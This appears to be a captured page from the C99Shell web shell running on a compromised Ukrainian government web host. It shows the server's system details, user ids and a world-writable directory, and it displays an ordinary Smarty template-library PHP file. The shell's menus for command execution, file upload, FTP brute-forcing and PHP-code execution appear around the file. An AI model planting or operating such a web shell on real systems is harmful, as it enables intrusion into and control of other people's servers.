!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/old.zt-rada.gov.ua/smarty/internals/   drwxrwxrwx
Free 117.47 GB of 200.55 GB (58.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     core.smarty_include_php.php (1.56 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Smarty plugin
 * @package Smarty
 * @subpackage plugins
 */

/**
 * called for included php files within templates
 *
 * @param string $smarty_file
 * @param string $smarty_assign variable to assign the included template's
 *               output into
 * @param boolean $smarty_once uses include_once if this is true
 * @param array $smarty_include_vars associative array of vars from
 *              {include file="blah" var=$var}
 */

//  $file, $assign, $once, $_smarty_include_vars

function smarty_core_smarty_include_php($params, &$smarty)
{
    
$_params = array('resource_name' => $params['smarty_file']);
    require_once(
SMARTY_CORE_DIR 'core.get_php_resource.php');
    
smarty_core_get_php_resource($_params$smarty);
    
$_smarty_resource_type $_params['resource_type'];
    
$_smarty_php_resource $_params['php_resource'];

    if (!empty(
$params['smarty_assign'])) {
        
ob_start();
        if (
$_smarty_resource_type == 'file') {
            
$smarty->_include($_smarty_php_resource$params['smarty_once'], $params['smarty_include_vars']);
        } else {
            
$smarty->_eval($_smarty_php_resource$params['smarty_include_vars']);
        }
        
$smarty->assign($params['smarty_assign'], ob_get_contents());
        
ob_end_clean();
    } else {
        if (
$_smarty_resource_type == 'file') {
            
$smarty->_include($_smarty_php_resource$params['smarty_once'], $params['smarty_include_vars']);
        } else {
            
$smarty->_eval($_smarty_php_resource$params['smarty_include_vars']);
        }
    }
}


/* vim: set expandtab: */

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0401 ]--